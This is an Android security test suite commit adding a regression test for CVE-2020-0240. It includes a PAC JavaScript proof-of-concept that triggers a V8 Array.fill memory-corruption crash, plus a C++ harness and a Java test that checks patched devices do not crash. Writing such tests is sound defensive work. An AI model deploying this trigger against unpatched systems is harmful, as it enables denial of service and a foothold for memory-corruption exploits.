Snap for 7236906 from 75e2045789c3d08018e456ca8fb1c68f4ea2909c to rvc-d2-release
Change-Id: I32c6dd9635f920f97726027537275e63eef7b796
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0240.pac b/hostsidetests/securitybulletin/res/cve_2020_0240.pac
new file mode 100644
index 0000000..677120e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0240.pac
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+array = [];
+array.length = 0xffffffff;
+
+b = array.fill(1.1, 0, {valueOf() {
+ array.length = 32;
+ array.fill(1.1);
+ return 0x80000000;
+}});
+return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
new file mode 100644
index 0000000..d626fcc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0240",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/chromium-libpac/includes",
+ ],
+ shared_libs: [
+ "libpac",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
new file mode 100644
index 0000000..61e5e9f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <codecvt>
+#include <fstream>
+#include <iostream>
+#include <proxy_resolver_v8_wrapper.h>
+#include <string.h>
+#include <sys/types.h>
+
+const char16_t *spec = u"";
+const char16_t *host = u"";
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ ProxyResolverV8Handle *handle = ProxyResolverV8Handle_new();
+
+ std::ifstream t;
+ t.open(argv[1]);
+ if (t.rdstate() != std::ifstream::goodbit) {
+ return EXIT_FAILURE;
+ }
+ t.seekg(0, std::ios::end);
+ size_t size = t.tellg();
+ char *raw = (char *)calloc(size + 1, sizeof(char));
+ t.seekg(0);
+ t.read(raw, size);
+ std::string u8Script(raw);
+ std::u16string u16Script =
+ std::wstring_convert<std::codecvt_utf8_utf16<char16_t>, char16_t>{}
+ .from_bytes(u8Script);
+
+ ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
+ ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+
+ ProxyResolverV8Handle_delete(handle);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
new file mode 100644
index 0000000..352274e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0240 extends SecurityTestCase {
+
+ /**
+ * b/150706594
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-08")
+ @Test
+ public void testPocCVE_2020_0240() throws Exception {
+ String inputFiles[] = {"cve_2020_0240.pac"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0240",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}